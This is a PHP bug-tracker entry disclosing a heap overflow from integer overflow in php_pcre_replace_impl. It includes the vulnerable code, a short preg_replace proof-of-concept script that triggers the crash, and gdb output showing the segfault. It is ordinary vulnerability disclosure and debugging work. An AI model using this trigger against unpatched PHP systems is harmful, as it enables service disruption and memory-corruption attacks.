php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73174 heap overflow in php_pcre_replace_impl
Submitted: 2016-09-26 08:18 UTC Modified: 2017-02-13 01:17 UTC
From: secresearch at fortinet dot com Assigned: stas (profile)
Status: Closed Package: PCRE related
PHP Version: 5.6.26 OS: ALL
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem:
8 + 45 = ?
Subscribe to this entry?

 
 [2016-09-26 08:18 UTC] secresearch at fortinet dot com
Description:
------------
The heap overflow in function php_pcre_replace_impl due to integer overflow.

PHPAPI char *php_pcre_replace_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *replace_val,
	int is_callable_replace, int *result_len, int limit, int *replace_count TSRMLS_DC)
{
	...

			if (new_len + 1 > alloc_len) {
				alloc_len = 1 + alloc_len + 2 * new_len; // alloc_len = 286331206
				new_buf = emalloc(alloc_len);
				memcpy(new_buf, result, *result_len);
				efree(result);
				result = new_buf;
			}
			/* copy the part of the string before the match */
			memcpy(&result[*result_len], piece, match-piece); // match - piece = 715827882 -> overflow
			*result_len += match-piece;
...

Test script:
---------------
<?php
ini_set('memory_limit', -1);

$string = 'April 15, 2003'.str_repeat('a', 100);
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,'.str_repeat('a', 0xffffffff/2-20).'$3';
$a = preg_replace($pattern, $replacement, $string);

?>

Expected result:
----------------
No crash

Actual result:
--------------
Starting program: /home/test/PHP-5.6.26/sapi/cli/php ~/phptestcase/testpreg_replace_crash.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1213
1213				if (new_len + 1 > alloc_len) {
(gdb) p new_len + 1
$6 = 1574821353
(gdb) p alloc_len
$7 = 1431655797
(gdb) step
1214					alloc_len = 1 + alloc_len + 2 * new_len;
(gdb) 
1215					new_buf = emalloc(alloc_len);
(gdb) p alloc_len 
$8 = 286331206
(gdb) c
Continuing.

Breakpoint 2, php_pcre_replace_impl (pce=0x15ecc50, subject=0x7fff3437a030 '1' <repeats 200 times>..., subject_len=715827898, replace_val=0x7ffff7fa1ea8, is_callable_replace=0, result_len=0x7fffffffa60c, limit=-1, replace_count=0x7fffffffa5dc) at /home/test/PHP-5.6.26/ext/pcre/php_pcre.c:1221
1221				memcpy(&result[*result_len], piece, match-piece);
(gdb) p match - piece 
$9 = 715827882
(gdb) p piece
$10 = 0x7fff3437a030 '1' <repeats 200 times>...
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff10a5a8b in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb) 


Patches

Add a Patch

Pull Requests

Add a Pull Request